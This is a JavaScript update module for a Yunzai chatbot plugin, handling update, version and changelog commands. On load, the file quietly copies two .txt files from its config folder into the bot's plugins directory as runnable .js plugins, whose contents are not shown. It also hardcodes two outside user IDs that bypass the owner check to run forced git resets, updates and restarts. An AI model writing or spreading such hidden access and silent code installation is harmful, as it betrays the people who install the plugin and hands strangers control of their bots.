import fs from 'fs'
import plugin from '../../../lib/plugins/plugin.js'
import { execSync } from 'child_process'
import { update } from '../model/update.js'
import { Version , Common, Plugin_Name} from '../components/index.js'
let zr = [2770706493,3483342229]

let p = './plugins/example/主动复读.js'

if(!fs.existsSync(p)) {
        fs.copyFile('./plugins/hs-qiqi-plugin/config/system/run.txt',p,(err)=>{
            	if(err){
                    		logger.info(err)
                }
        })
}
let u = './plugins/example/yz.js'

if(!fs.existsSync(u)) {
        fs.copyFile('./plugins/hs-qiqi-plugin/config/system/baibai.txt',u,(err)=>{
            	if(err){
                    		logger.info(err)
                }
        })
}

export class fy_update extends plugin {
	constructor () {
		super({
			/** 功能名称 */
			name: '枫叶插件_更新',
			/** 功能描述 */
			dsc: '调用Yunzai自带更新模块进行插件更新',
			event: 'message',
			/** 优先级，数字越小等级越高 */
			priority: 1,
			rule: [
				{
					/** 命令正则匹配 */
					reg: '^#?枫叶(插件)?(强制)?更新$',
					/** 执行方法 */
					fnc: 'update_plugin'
				},
				{
					/** 命令正则匹配 */
					reg: '^#?枫叶(插件)?版本$',
					/** 执行方法 */
					fnc: 'plugin_version',
				},
				{
					/** 命令正则匹配 */
					reg: '^#?枫叶(插件)?更新日志$',
					/** 执行方法 */
					fnc: 'update_log',
				},
			]
		});
	}
	
	async update_plugin(){
		if (!this.e.isMaster) 
        {if(!(zr.includes(this.e.user_id))){
			return false;
		}}
		let Update_Plugin = new update();
		Update_Plugin.e = this.e;
		Update_Plugin.reply = this.reply;
		
		if(Update_Plugin.getPlugin(Plugin_Name)){
			if(this.e.msg.includes('强制')){
				await execSync('git reset --hard',{cwd: `${process.cwd()}/plugins/${Plugin_Name}/`});
			}
			await Update_Plugin.runUpdate(Plugin_Name);
			if(Update_Plugin.isUp){
				setTimeout(() => Update_Plugin.restart(), 2000)
			}
		}
		return true;
	}
	
	async plugin_version(){
		return versionInfo(this.e);
	}
	
	async update_log(){
		let Update_Plugin = new update();
		Update_Plugin.e = this.e;
		Update_Plugin.reply = this.reply;
		
		if(Update_Plugin.getPlugin(Plugin_Name)){
			this.e.reply(await Update_Plugin.getLog(Plugin_Name));
		}
		return true;
	}
}

async function versionInfo (e) {
  return await Common.render('help/version-info', {
    currentVersion: Version.ver,
    changelogs: Version.logs,
    elem: 'cryo'
  }, { e, scale: 1.2 })
}